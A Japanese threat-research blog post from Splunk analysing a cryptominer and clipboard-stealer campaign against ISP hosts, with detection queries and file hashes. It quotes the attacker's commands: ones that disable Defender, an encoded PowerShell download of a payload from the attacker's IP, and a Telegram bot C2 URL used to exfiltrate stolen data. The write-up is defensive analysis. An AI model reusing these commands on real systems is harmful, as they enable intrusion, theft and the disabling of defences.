Splunk脅威調査チームは、米国西海岸と中国のISPインフラプロバイダーを標的とする攻撃を検出しました。この大規模なエクスプロイト攻撃の発信元は東欧で、シンプルなツールを使って標的コンピューターの処理能力を悪用し、クリプトマイニングペイロードと、以下のような多様な機能を持つバイナリをインストールします。
Splunk脅威調査チームは、攻撃者が検出を回避するために、乗っ取ったアカウントが残すアーティファクト以外の痕跡を残さず、最小限の操作で侵入を行っていることを確認しました。また、スクリプト言語(PythonやPowerShellなど)で動作するツールを多用して移動やピボッティングを行うことで、制限された環境でも活動し、APIコール(Telegramなど)を通じてC2操作を実行できるようにしていることもわかりました。確認されたIP CIDR範囲から、標的はISPインフラであり、その目的はクリプトマイニング操作(XMR)と考えられます。
以降のセクションでは、この攻撃で使われる3つの主要な実行可能ファイル、mig.rdp.exe、migrate.exe、x64.exeを分析し、各段階で使われるMITRE ATT&CK®の戦術と技法を明らかにします。
分析に入る前に、攻撃者がWindowsリモート管理(WINRM)をどのように使って、標的ホストへのアクセス権を獲得し、これらのペイロードを実行しているかを調査します。
攻撃者は、パスワードが不明な場合や、取得したパスワードがハッシュであった場合、ブルートフォース技法を使ってアカウントへのアクセス権を獲得します。ユーザー名とパスワードを取得すると、WINRMサービスを実行してペイロードを展開します。
図1と図2のスクリーンショットから、cmdとPowerShellを使って、親プロセスのwinrshost.exeから複数のプロセスを実行していることがわかります。このプロセスツリーは、攻撃者がWINRMサービスを使って悪質なペイロードを実行していることを明確に示しています。
図1:WINRMを介した複数のcmd/powershellの実行
図2:WINRMを介した複数のcmd/powershellの実行
PowerShellスクリプトをデコードすると、下に示すコードブロックからわかるように、攻撃者は侵害したシステムでさらにペイロードを実行する準備をしています。この準備には、セキュリティ製品機能の無効化や、クリプトマイナーの検出に関連するサービスの終了または停止などが含まれます。また、このようにWINRMサービスを介してPowerShellスクリプトを何回も実行するという動作は、検出した実行可能ファイルの1つであるx64.exeの動作と同じであることもわかりました。x64.exeについては後ほど詳しく分析します。
Set-MpPreference -DisableRealtimeMonitoring $True Set-MpPreference -ExclusionPath C:\Windows , c:\ gwmi -Class 'Win32_Process' | fl ExecutablePath sc.exe stop "Windows Updata"; sc.exe delete "Windows Updata"; sc.exe stop "Windows Management"; sc.exe delete "Windows Management" : .
図3:mig.rdp.exeの感染チェーンの簡略図(この図の拡大版はこちらから参照できます)
この攻撃の調査でSplunk脅威調査チームは、侵害されたホストにmig.rdp.exeという名前のファイルがWINRMサービスを介してダウンロードされることを確認しました。この攻撃ではWindowsバッチスクリプトによって、Base64エンコードされたPowerShellスクリプトが実行されます。このPowerShellスクリプトが、mig.rdp.exeをダウンロードして「C:\users\」ディレクトリに保存し、実行します。
下の2つのコードブロックはそれぞれ、mig.rdp.exeペイロードのダウンロードと実行のためのエンコードされたPowerShellスクリプトです。
エンコードされたPowershellスクリプト: C:\Windows\system32\cmd.exe /C powershell -encodedcommand KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUA bgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMwAuADMA MgAuADEANgAyAC4ANgA0AC8AbQBpAGcAXwBvAGIALgBlAHgAZQAnACwAJwBjADoAXAB1AHMAZQByAHMA XABtAGkAZwAuAHIAZABwAC4AZQB4AGUAJwApAAoA
デコード後(ペイロードのダウンロード): (new-object System.Net.WebClient). DownloadFile('hxxp[:]//193[.]32[.]162[.]64/mig_ob.exe','c:\users\mig.rdp.exe')
エンコードされたPowerShellスクリプト: C:\Windows\system32\cmd.exe /C powershell -encodedcommand YwA6AFwAdQBzAGUAcgBzAFwAbQBpAGcALgByAGQAcAAuAGUAeABlAAoA デコード後: c:\users\mig.rdp.exe
ダウンロードされたmig.rdp.exeファイルはRAR SFX実行可能ファイルであり、3つの追加ファイル、ru.bat、st.bat、migrate.exeを投下します。これらのファイルはすべて、「C:\ProgramData」ディレクトリに置かれ、侵害されたホスト上で実行されます。攻撃者は、標準的なRARではなく、自己解凍型アーカイブであるRAR SFXを使用することで、解凍と実行の両方のプロセスをまとめて実行します。この統合された手法により、マルウェア展開の複雑さが軽減され、被害者にRARソフトウェアをインストールさせたり、ファイルを手動で解凍および実行させたりする必要もなくなるため、マルウェア展開の効率と信頼性が向上します。
図4:mig.rdp.exeによって投下されたファイル
ru.batスクリプトは、st.batを実行するだけのバッチファイルです。st.batスクリプトは、Windows Defender Antivirusのリアルタイム監視機能を無効にします。さらに、Windows Defenderの除外パスに「C:\」ルートドライブを追加して、ここに保存された悪質なコードの検出がすべて回避されるようにします。
st.batは、これらの防御回避に加えて、Windowsユーティリティのtakeownとicacls.exeを使って「C:\Windows\Tasks\」ディレクトリのアクセス権限の変更も行います。このディレクトリは、攻撃実行段階で、コインマイナーおよびインフォスティーラーマルウェアをインストールするための追加ファイルの投下先として使われます。
図5に、ICACLSアプリケーションを使って、「C:\Windows\Tasks」フォルダーパスでアクセス制御リスト(ACL)の権限の継承を有効にし、(R,REA,RA,RD)モードに設定する方法を示します。権限の内容は次のとおりです。
図5:ディレクトリの権限継承の有効化
これらの権限により、上記のスクリーンショットで指定されているユーザーは、対象となるファイルとディレクトリを閲覧し、関連付けられたメタデータと拡張属性を読み取ることはできますが、ファイル、ディレクトリ、およびその内容を変更することはできなくなります。この防御回避技法は、ユーザーがファイルを変更または削除できないようにするためのシンプルな方法です。
最後に、st.batスクリプトはmigrate.exeを実行します。migrate.exeはパスワード保護されたRAR SFXファイルで(パスワードは4432)、中に含まれる圧縮ファイルを解凍して実行します。
migrate.exeは、「C:\Windows\Tasks」フォルダーに複数のファイルを投下して、侵害したホストでの悪質な活動をさらに推し進めます。下の表に、投下されるファイルとその簡単な説明を示します。
ファイル名 | 説明 |
---|---|
ApplicationsFrame.exe | XMRigビットコインマイナー |
config.json | XMRigの設定ファイル |
IntelConfigService.exe | ウイルス対策ソフトウェアやマルウェア分析ツールをチェックするAutoitコンポーネント |
MicrosoftPrt.exe | クリップバンカーマルウェア |
MSTask.exe | 以下の操作を実行するコンポーネント(Pythonでコンパイル)
|
run.bat | 以下の操作を実行するバッチスクリプト
|
Superfetch.exe | XMRigビットコインマイナー |
WinRing0x64.sys | XMRigビットコインマイナーのドライバーコンポーネント |
wmiic.exe | NSSMサービスユーティリティツール |
wrap.exe | XMRigビットコインマイナー |
migrate.exeを介してさまざまなビットコインマイナーマルウェアが展開されるだけでなく、関連するいくつかのコンポーネントファイルには、自身のファイルへのアクセスを制限するための特別な機能や技法が実装されています。こうした機能の目的は、特定のユーザーや管理者が悪質なファイルを閲覧、変更、削除できないようにすることで、マルウェアが検出を逃れて活動し、システムに永続化できるようにすることです。
図6は、IntelConfigService.exeから逆コンパイルしたAutoItコードのスクリーンショットです。このコードは、侵害されたホストに特定のプロセスユーティリティツールがあるかどうかをチェックします。プロセスのウィンドウタイトルが「Process Hacker」と一致した場合、スクリプトはApplicationFrameHost.exeプロセスを終了します(このプロセスはXMRigクリプトマイナーマルウェアであることが判明しています)。プロセスユーティリティツールが1つも検出されず、ApplicationFrameHost.exeもwrap.exeもプロセスとして実行されていない場合は、別のXMRigビットコインマイナーであるwrap.exeを実行します。さらに、ICACLSを使って、管理者を含む特定のユーザーが、IntelConfigService.exeがある現在のディレクトリ(C:\Windows\Tasks)にアクセスできないようにします。
migrate.exeは、XMRigビットコインマイナーの別の亜種であるSuperfetch.exeと、MSTask.exeの実行も試みます。
図6:ユーザーと管理者のアクセス拒否
攻撃者は、ICACLSを使って特定のユーザーからのファイルアクセスを拒否する以外に、Pythonでコンパイルされた実行可能ファイルMSTask.exeを使って、C2サーバーから別のコンポーネントファイルをダウンロードします。これも、ビットコインマイニング操作に関連している可能性があります。残念ながら、このブログの執筆時点で、図7に示したURLはすでにアクセスできなくなっています。
図7:コインマイナーコンポーネントのダウンロード
migrate.exeによって「C:\Windows\Tasks」に投下されたバッチスクリプトrun.batは、ユーザーのログインまたはシステムの再起動時の自動実行を設定して、永続化の仕組みを構築します。
図8:スタートアップを使った永続化技法
run.batは、スタートアップフォルダーの技法を使用する以外に、「C:\Windows\Tasks\」に投下されたwmiic.exeを介して、IntelConfigService.exeコンポーネントをサービスとしてインストールします。wmiic.exeは、サードパーティツール「nssm」のコピーであり、Windowsオペレーティングシステムでサービスをインストールまたは開始する機能を持ちます。
図8:マルウェアをサービスとしてインストールして開始
権限昇格と永続化が完了すると、migrate.exeは、これまで「C:\ProgramData」ディレクトリに投下したすべてのファイルと「C:\Users\mig.rdp.exe」のコピーを削除します。
図9:コンポーネントファイルの削除
MicrosoftPrt.exeは、Pythonでコンパイルされた実行可能ファイルであり、クリップボードから情報を盗み出すためのものです。図10に、クリップボードに保存された仮想通貨ウォレットのアドレスである可能性があるものを識別するために使われるパターンを示します。これらのパターンは、ビットコイン(BTC)、イーサリアム(ETH)、バイナンスチェーンBEP2 (ETHBEP2)、ライトコイン(LTC)、TRON (TRX)などの仮想通貨ウォレットのアドレスを検出するように作られています。
図10:標的の仮想通貨ウォレットを検出するためのパターン
MicrosoftPrt.exeは、pyperclip.pasteライブラリを利用してクリップボードのデータにアクセスすることにより、クリップボードの内容が含まれるExchangeBuffer1内でこれらのパターンを検索します。
図11:クリップボードデータの解析
MicrosoftPrt.exeは、クリップバンカーと呼ばれる仮想通貨の解析機能に加えて、侵害されたホストのスクリーンショットをキャプチャするpyautogui.screenshot関数を備えています。キャプチャした画像は、「C:\ProgramData\screenshot.png」に保存されます。
図12:スクリーンショットのキャプチャ
MicrosoftPrt.exeは、侵害したホストのスクリーンショットを取得し、クリップボードから仮想通貨ウォレットのアドレスである可能性があるものを抽出した後、Telegramボットを介してそのデータをC2サーバーに送信します。図13に、収集したデータをTelegramボットに転送する準備を行うPythonバイトコードを示します。
図13:C2サーバーとして機能するTelegramボット
分析では、このPython実行可能ファイルを完全には逆コンパイルすることができなかったため、TelegramボットのURLを抽出するために役立つPythonバイトコードに頼るしかありませんでした。このボットは、マルウェアが収集したデータの送信先となるC2サーバーとして使われます。下のコードブロックは、Telegramボットで使われる初期化された変数を組み合わせてC2のURLを組み立てるための簡略版の疑似コードを示します。
ベースURL:'https[:]//api[.]telegram[.]org/bot' トークン:'6114976417:AAELsO_lvdyvXRw-Fwj5RmwJFc81WkgJOYI' メッセージ送信エンドポイント:'/sendMessage' クエリーパラメーター: chat_id:'552691400' テキスト: ホスト名(pc) ユーザー名(user) 'LTC\n' クリップボードの内容(ExchangeBuffer) 'LTC'ウォレットアドレス(Litecoin) LTCデータを送信するための完全なC2リンク: https[:]//api[.]telegram[.]org/bot6114976417:AAELsO_lvdyvXRw-Fwj5RmwJFc81WkgJOY I/sendMessage?chat_id=552691400&text=\n\nLTC\n\n
Splunk脅威調査チームは、「C:\Windows\Tasks」に投下されたApplicationFrameHost.exeによって、侵害されたホストにさらに別のファイル、x64.exeがダウンロードされることも確認しました。このファイルは、自己解凍型のRAR SFX実行可能ファイルで(パスワードは2582)、実行時に複数のファイルを展開します。侵害されたホストでのこのスクリプトの動作は、WINRMを介したPowerShellの実行と同じであることがわかりました。
ApplicationFrameHost.exeはまず、エンコードされたPowerShellスクリプトに含まれるバッチスクリプトを実行します。
図14:x64.exeの感染チェーン(この図の拡大版はこちらから参照できます)
図15:バッチスクリプトによるx64.exeの実行
PowerShellスクリプトをデコードすると、このスクリプトは、そのコンポーネントに関連する可能性のあるすべてのプロセスを終了することがわかりました。その後、x64.exeをダウンロードし、「C:\Windows\Migration」フォルダーに保存します。
図16:x64.exeペイロードのダウンロード
x64.exeは、以下のファイルを含む複数のファイルを「C:\Windows\Migration」フォルダーに投下します。
ファイル名 | 説明 |
---|---|
auto.exe | Pythonでコンパイルされた実行可能ファイル |
masscan.exe | マルチマススキャンツール |
run.bat | サービスをインストール |
run.exe | マススキャンを実行、クリーンアッププロセスの一部として複数のPowerShellスクリプトを実行 |
vc.exe | 正規のvcredist_x86.exeインストーラー |
wmiic.exe | nssmサービスマネージャーユーティリティツール |
WP.exe | 古いwinpcapインストーラー |
auto.exeは、C2サーバーからパスワードのリスト(pass.txt)とIPアドレスのリスト(ip.txt)をダウンロードします。このリストは、特定のISPのCIDRを持つ一連の標的IPアドレスに対してブルートフォース攻撃を行うために使われます。このペイロードは、生成したIPアドレスも標的にします。図17に示すように、マルウェアはマススキャンツールを利用して、関数に渡されたIPアドレスに対してアクティブスキャンを実行することがわかりました。
図17:マススキャンに使われる関数
Splunk脅威調査チームは、auto.exeファイルがSSH経由で一連の接続を試みることも確認しました。auto.exeのコードを調べると、特定のSSH認証情報を使ってSSHポート経由でC2サーバーへのリモートアクセスを確立することがわかりました。これらの認証情報は、実行可能ファイルにハードコーディングされている可能性があり、これによってC2サーバーとの認証と通信が可能になります。通信にSSHを使用するのは、サーバーとの安全で永続的な接続を維持することでコマンドの送受信やデータの窃取を確実に行うためだと考えられます。
図18:SSH接続の試行
図19:SSH接続の認証情報
auto.exeとrun.exeのどちらにも、WINRMサービスのポート(5985)が特定のIPアドレスに対して開いているかどうかをチェックする関数が含まれています。マルウェアは、そのIPアドレスと、事前にダウンロードしたパスワードリストを使って、スキャンを試みます。接続に成功するかWINRMポートが開いていることを確認すると、検証済みの認証情報をTelegramボットを使用したC2サーバーに送信します。この動作は、他のコンポーネントで確認されたものと同じです。このように、WINRMを利用してリモートアクセスを行い、盗んだ資格情報をさらなる悪用のために転送することで、脆弱性のあるシステムを巧みに悪用します。
図20:auto.exeのWINRMチェック関数
図21:run.exeのWINRMチェック関数
run.exeは、侵害したホストでクリーンアッププロセスの一部として、複数のスクリプトとPowerShellコマンドを実行します。興味深いことに、このブログですでに解説した、WINRMサービスを使ったPowerShellスクリプトの実行、特に、侵害されたシステムへのmig.rdp.exeのインストールと同じパターンがここでも使われています。これは、このマルウェアが、感染したホストで、クリーンアップ、永続化、検出回避など、さまざまなタスクの実行にWINRMを使い回していることを示しています。
図22に、このマルウェアで実行されるPowerShellスクリプトとバッチスクリプトに含まれるコードスニペットを示します。ここから、このマルウェアが再びmig.rdp.exeをダウンロードして実行することがわかります。ただし、今回ダウンロードするのはアップデート版だと考えられます。さらに、Windows Defender機能を無効化し、WindowsのユーティリティツールであるtakeownとICACLSを使って、ファイルの所有権を取得してアクセス制御リストを変更することで、各種のアクセス権変更を行います。これらの操作の目的は、侵害したホストで検出を回避し、制御を維持しながら、自らの存在を確保することだと考えられます。
図22:痕跡を除去するためのPowerShellスクリプト
このマルウェアは、クリーンアッププロセスの一部として、スケジュールされたタスクを削除し、XMRigクリプトマイナーに関連するすべてのサービスを含め、自身のコンポーネントに関連するすべてのサービスを終了または停止させます。これらの操作の目的は、侵害したシステムでのマルウェア活動の痕跡を除去し、検出を回避して、永続化を確立することだと考えられます。
図23:マルウェアに関するサービス停止
run.exeは、レジストリの変更によるRDPサービスの無効化と、サービス設定の変更によるWINRMサービスの無効化も行います。これらの操作の目的は、リモートアクセスをブロックし、侵害されたシステムの制御を取り戻そうとする試みを阻止して、感染したシステムへの定着をさらに確実にすることです。
図24:RDPとWINRMの無効化
run.exeはさらに、Windows OSのquserユーティリティを使って、侵害したホストでアクティブなすべてのユーザーのログオフを試みます。この操作は、継続中のセッションを中断し、ユーザーが悪質な活動を検出または阻止するのを回避するための行動の一環だと考えられます。
図25:アクティブユーザーのログオフ
標的ホストへの侵入とそれに続く操作の中で確認された活動から、この攻撃者は、スクリプト言語(Pythonでコンパイルされた実行可能ファイル、PowerShellコマンドなど)を利用することで、さまざまな操作の痕跡を最小限に抑え、防御の仕組みを無効化し、リモートアクセスをブロックしており、C2通信にTelegram APIを利用することで検出を回避しています。
これらの活動は、標的ホストでの操作を成功させ、できるだけ多くの処理能力を獲得するために、必要最小限と言えるでしょう。Splunk脅威調査チームは、Cisco TalosのIntelligence Centerを通じてこの攻撃者を検証することもできました。
図26:Cisco Talos Intelligence Centerで特定された攻撃者のIPアドレス
また、VirusTotalのチェックでも悪質な活動が確認されました。
図27:VirusTotalで悪質と判定された攻撃者のIPアドレス
このブログの冒頭で述べたとおり、攻撃者は、米国西海岸と中国のISPインフラプロバイダーが使用する特定のCIDRを標的にしています。マススキャンツールを使って大量のIPアドレスをスキャンしてから、開いているポートを調べ、ブルートフォース攻撃によって認証情報を取得します。Splunk脅威調査チームは、標的になっているISPプロバイダーの4,000件以上のIPアドレスを確認しました。
Splunk脅威調査チームは、Splunkのお客様がこのクリプトマイニングおよびインフォスティーラー攻撃に関する痕跡を検出するために役立つ一連の検出を開発しました。以下のセクションで説明するこれらの検出は、関連する他の検出とともに、新しい分析ストーリー「Crypto Stealer」に組み込まれています。
以下の検出では、正規のソフトウェアには通常関連付けられないファイルパスから実行されているプロセスを特定しています。エンドポイント検出/対応(EDR)エージェントのデータを利用して、エンドポイントデータモデル内の特定のプロセスパスを重点的に調べます。
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_path IN("*\\windows\\fonts\\*", "*\\windows\\temp\\*", "*\\users\\public\\*", "*\\windows\\debug\\*", "*\\Users\\Administrator\\Music\\*", "*\\Windows\\servicing\\*", "*\\Users\\Default\\*", "*Recycle.bin*", "*\\Windows\\Media\\*", "\\Windows\\repair\\*", "*\\temp\\*" , "*\\PerfLogs\\*","*\\windows\\tasks\\*", "*:\\programdata\\*") by Processes.parent_process_name Processes.parent_process Processes.process_path Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図28:Suspicious Process File Path検出
以下の分析では、Windowsシステム上の不審なファイルパスで実行可能ファイルまたはスクリプトが作成されたことを特定しています。Endpoint.Filesystemデータモデルを使って、通常は実行可能ファイルやスクリプトの保存に使われないディレクトリ(「\windows\fonts\」、「\users\public\」など)に作成された特定の拡張子(.exe、.dll、.ps1など)を持つファイルを検出します。
| tstats `security_content_summariesonly` values(Filesystem.file_path) as file_path count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN ("*.exe", "*.dll", "*.sys", "*.com", "*.vbs", "*.vbe", "*.js", "*.ps1", "*.bat", "*.cmd", "*.pif") AND Filesystem.file_path IN ("*\\windows\\fonts\\*", "*\\windows\\temp\\*", "*\\users\\public\\*", "*\\windows\\debug\\*", "*\\Users\\Administrator\\Music\\*", "*\\Windows\\servicing\\*", "*\\Users\\Default\\*", "*Recycle.bin*", "*\\Windows\\Media\\*", "*\\Windows\\repair\\*", "*\\AppData\\Local\\Temp*", "*\\PerfLogs\\*", "*:\\temp\\*") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図29:Executables Or Script Creation In Suspicious Path検出
以下の分析では、永続化の技法としてよく使われる、Windowsの「%startup%」フォルダーでのファイルの作成を検出しています。Endpoint.Filesystemデータモデルを使って、このディレクトリでのファイル作成イベントを検出します。
|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path = "*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.file_path Filesystem.process_guid Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図30:Windows Boot or Logon Autostart Execution In Startup Folder検出
以下の検出では、ICACLSを使った権限継承の有効化を特定しています。この検出では、ICACLSコマンドを使ってファイルまたはディレクトリの権限継承が有効化されるケースを特定します。「/inheritance:e」フラグ(親ディレクトリから継承された権限を復元)を監視することで、より広範なアクセス制御の設定を適用し直す可能性のある変更を特定できます。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND Processes.process = "*/inheritance:e*" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図31:Windows File and Directory Permissions Enable Inheritance検出
以下の検出では、ICACLSを使ってファイルまたはディレクトリの権限継承が無効化されたことを特定しています。「/inheritance:r」フラグ(継承された権限を削除し、オプションで明示的な権限を保持または変更)を監視して、アクセスの制限や独立した権限の設定につながる可能性のある変更を特定します。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND Processes.process = "*/inheritance:r*" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図32:Windows File and Directory Permissions Remove Inheritance検出
以下の分析では、Telegramに関連するDNS APIコールの使用を検出しています。このAPIコールは、マルウェアがC2サーバーとの通信によく使用するTelegramボットを介したアクセスが行われている可能性があることを示します。
`sysmon` EventCode=22 query = "api.telegram.org" | stats count min(_time) as firstTime max(_time) as lastTime by query answer QueryResults QueryStatus process_name process_guid Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図33:Windows DNS Query Request by Telegram Bot API検出
以下の分析では、CMDまたはPowerShellプロセスを開始するwinrshost.exeの実行を検出しています。これはペイロード実行の一部である可能性があります。winrshost.exeはWINRMと関連付けられ、一般的にリモート実行に使用されます。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name="winrshost.exe" AND Processes.process_name IN ("cmd.exe","*powershell*") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図34:Windows Remote Management Execute Shell検出
以下の分析では、ファイルまたはフォルダーの権限が読み取り専用アクセスに変更されたことを検出しています。このような変更では、読み取り関連の権限(R、REA、RA、RD)のみが付与され、書き込み(W)や実行(X)の権限が付与されないことが特徴です。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN( "icacls.exe", "cacls.exe", "xcacls.exe") AND Processes.process IN ("*/grant*", "*/G*") AND Processes.process IN ("*SYSTEM*", "*admin*", "*S-1-1-0*", "*EVERYONE*") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | rex field=process ":\\((?[^)]+)\\)" | eval has_read_attribute=if(match(permission, "R"), "true", "false") | eval has_write_execute=if(match(permission, "(W|GA|X|M|F|AD|DC|DE)"), "true", "false") | where has_write_execute="true" and has_read_attribute = "true" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図35:Windows File and Directory Enable ReadOnly Permissions検出
以下の検出では、quserコマンドとlogoffコマンドを使ってユーザーセッションが強制的に終了させられたことを検出しています。このアクティビティは、管理タスクまたは不正アクセスが試行されている可能性を示します。
| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = powershell.exe AND Processes.process_name = logoff.exe by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図36:Windows Account Access Removal via Logoff Exec検出
以下の分析では、SFXインストール中に作成されるRAR SFX .tmpファイルに関連するファイルの生成を監視することで、RAR-SFXファイルの作成を検出しています。実行可能コードと圧縮されたRARデータの組み合わせを示す特定のマーカーに基づいて、ヒューリスティック手法を使ってRAR SFXアーカイブを識別します。
`sysmon` EventCode=11 TargetFilename IN ("*__tmp_rar_sfx_access_check*") | stats count min(_time) as firstTime max(_time) as lastTime by Image TargetFilename Computer | rename Computer as dest | rename TargetFilename as file_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
図37:Windows Obfuscated Files or Information via RAR SFX検出
Crypto Stealer分析ストーリーに全部で43の検出が含まれ、そのすべてが、関連するMITRE ATT&CK技法に対応付けられます。
名前 | SHA256ハッシュ |
---|---|
ru.bat | 76b1237d26b94eb75ed600ba51d4b2414a8da48 a30d06973921bcd0ee9fac761 |
st.bat | 76b1237d26b94eb75ed600ba51d4b2414a8da48 a30d06973921bcd0ee9fac761 |
migrate.exe | 76b1237d26b94eb75ed600ba51d4b2414a8da4 8a30d06973921bcd0ee9fac761 |
ApplicationsFrameHost.exe | 4d084a7e0c656d038d3176e97a4f807d094ce7 8f6b1f92a6ada7b93cf6a7cf03 |
config.json | 78f69097a5ba8480e39d735732d22319d7f4d05 002940d99b326970353c8a545 |
IntelConfigService.exe | 713120bac7807f6fc0a6050135556c0614a66be2 fb476cfe163877f3d03b4d08 |
MicrosoftPrt.exe | 16d2f6194d1b1989fbef4572055dbf62a0d6a2570 b316ac15722192f1c559a50 |
MSTask.exe | 95c101a0164af189cc282eb2d67e143b42e6d57d7 ef396d59715a355a3162b96 |
run.bat | 6c36d61ad03e33dc3bc5d26e336855c4ab14754 1ccb989a35d3ed470fd1d521f |
Superfetch.exe | 9e24c7b4604aa3022325b62154ac80dc76533fa 96a3418d8e15d28c998fb9c53 |
WinRing0x64.sys | 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe 0fd418a3dfdac60b5c160ee5 |
wmiic.exe | 644c9745d1d2f679db73fcb717dd37e180e19d5b 0fc74575e4cefe4f543f2768 |
Wrap.exe | 1cf2bdb1cdd34bb50d60f21b8208041913747b8d eca5f26aa187d2e8c0e9a105 |
run.exe | 270b8685104389b8341dc7c68fb362579170b82 bffe89cc964cb27c10e496f08 |
wmiic.exe | 644c9745d1d2f679db73fcb717dd37e180e19d5b 0fc74575e4cefe4f543f2768 |
auto.exe | 2b8be1bbaf17a69326f65096a31054a1198e66a8 3e31c37d1eee1c2580d6c7fa |
masscan.exe | 837dc4e83fcefc8334384c88d672eb2dee31bceb 64657ca7bb4322536a810192 |
run.bat | 57d0b8a89b216aadb6525bccfdb67917d52e2398 56ae9011721e84746b99571e |
x64.exe | f98a335a128a062323476454ae7c5490c5a134461 ab49ee05afa81b4714d033c |
このブログは、セキュリティアナリスト、ブルーチーム、およびSplunkのお客様に、このクリプトマイナーおよびインフォスティーラーマルウェア攻撃で使われる戦術や手法を理解し、攻撃を検出するために役立てていただくことを目的としています。このブログで紹介した検出は、Enterprise Security Content Updates AppまたはSplunk Security Essentials Appを使って導入できます。Splunk脅威調査チームが提供するすべてのセキュリティコンテンツは、research.splunk.comのリポジトリでご確認いただけます。
ご意見やご要望がございましたら、GitHubから遠慮なくお寄せください。Slackチャネル「#security-research」にご参加いただくこともできます。SlackのSplunkユーザーグループへの招待が必要な場合は、こちらの手順に従ってください。
このブログ記事を執筆したTeoderick ContrerasとRod Soto、そして執筆にご協力いただいたSplunk脅威調査チームのJose Hernandez、Patrick Bareiss、Michael Haag、Lou Stella、Bhavin Patel、Eric McGinnis、Nasreddine Bencherchaliに感謝を申し上げます。
Splunkプラットフォームは、データを行動へとつなげる際に立ちはだかる障壁を取り除いて、オブザーバビリティチーム、IT運用チーム、セキュリティチームの能力を引き出し、組織のセキュリティ、レジリエンス(回復力)、イノベーションを強化します。
Splunkは、2003年に設立され、世界の21の地域で事業を展開し、7,500人以上の従業員が働くグローバル企業です。取得した特許数は1,020を超え、あらゆる環境間でデータを共有できるオープンで拡張性の高いプラットフォームを提供しています。Splunkプラットフォームを使用すれば、組織内のすべてのサービス間通信やビジネスプロセスをエンドツーエンドで可視化し、コンテキストに基づいて状況を把握できます。Splunkなら、強力なデータ基盤の構築が可能です。